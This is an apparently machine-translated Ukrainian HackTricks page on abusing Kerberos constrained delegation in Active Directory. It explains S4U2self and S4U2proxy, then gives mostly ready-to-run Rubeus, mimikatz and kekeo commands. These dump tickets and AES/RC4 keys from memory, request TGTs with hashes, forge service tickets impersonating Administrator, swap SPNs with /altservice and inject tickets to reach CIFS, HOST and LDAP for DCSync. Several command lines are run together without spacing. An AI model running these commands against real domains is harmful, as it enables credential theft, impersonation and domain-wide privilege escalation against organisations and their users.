Поділіться своїми хакерськими трюками, надсилайте PR доHackTricksіHackTricks Cloudрепозиторіїв на GitHub.
Обмежена делегація
За допомогою цього адміністратор домену може дозволити комп'ютеру імітувати користувача або комп'ютер проти служби машини.
Служба для користувача для самостійного (S4U2self): Якщо обліковий запис служби має значення userAccountControl, що містить TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), то він може отримати TGS для себе (служби) від імені будь-якого іншого користувача.
Служба для користувача для проксі(S4U2proxy):Обліковий запис служби може отримати TGS від імені будь-якого користувача до служби, встановленої в msDS-AllowedToDelegateTo. Для цього спочатку потрібно отримати TGS від цього користувача до себе, але можна використовувати S4U2self для отримання цього TGS перед запитом іншого.
Примітка: Якщо користувач позначений як "Обліковий запис чутливий і не може бути делегований" в AD, ви не зможете імітувати їх.
Це означає, що якщо ви зламаєте хеш служби, ви можете імітувати користувачів і отримати доступ в їхній інтерес до налаштованої служби (можливий підвищення привілеїв).
Більше того, ви не тільки матимете доступ до служби, яку користувач може імітувати, але також до будь-якої іншої служби, оскільки SPN (ім'я служби, запитане) не перевіряється, лише привілеї. Тому, якщо у вас є доступ до CIFS служби, ви також можете мати доступ до HOST служби, використовуючи прапорець /altservice в Rubeus.
Також, доступ до служби LDAP на DC, є необхідним для експлуатації DCSync.
# The first step is to get a TGT of the service that can impersonate others## If you are SYSTEM in the server, you might take it from memory.\Rubeus.exe triage.\Rubeus.exe dump/luid:0x3e4/service:krbtgt/nowrap# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one## Get AES/RC4 with mimikatzmimikatzsekurlsa::ekeys## Request with aestgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4tgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d.\Rubeus.exe asktgt/user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f/outfile:TGT_websvc.kirbi
Є інші способи отримання квитка TGT або RC4 або AES256 без прав системи на комп'ютері, такі як помилка принтера та неконтрольоване делегування, переадресація NTLM та зловживання службою сертифікатів Active Directory
Маючи цей квиток TGT (або захешований), ви можете виконати цей атаку, не компрометуючи весь комп'ютер.
Використання Rubeus
#Obtain a TGS of the Administrator user to self.\Rubeus.exe s4u/ticket:TGT_websvc.kirbi/impersonateuser:Administrator/outfile:TGS_administrator#Obtain service TGS impersonating Administrator (CIFS).\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST).\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2).\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
#Load ticket in memory.\Rubeus.exe ptt/ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
kekeo + Mimikatz
#Obtain a TGT for the Constained allowed usertgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
#Load the TGS in memoryInvoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'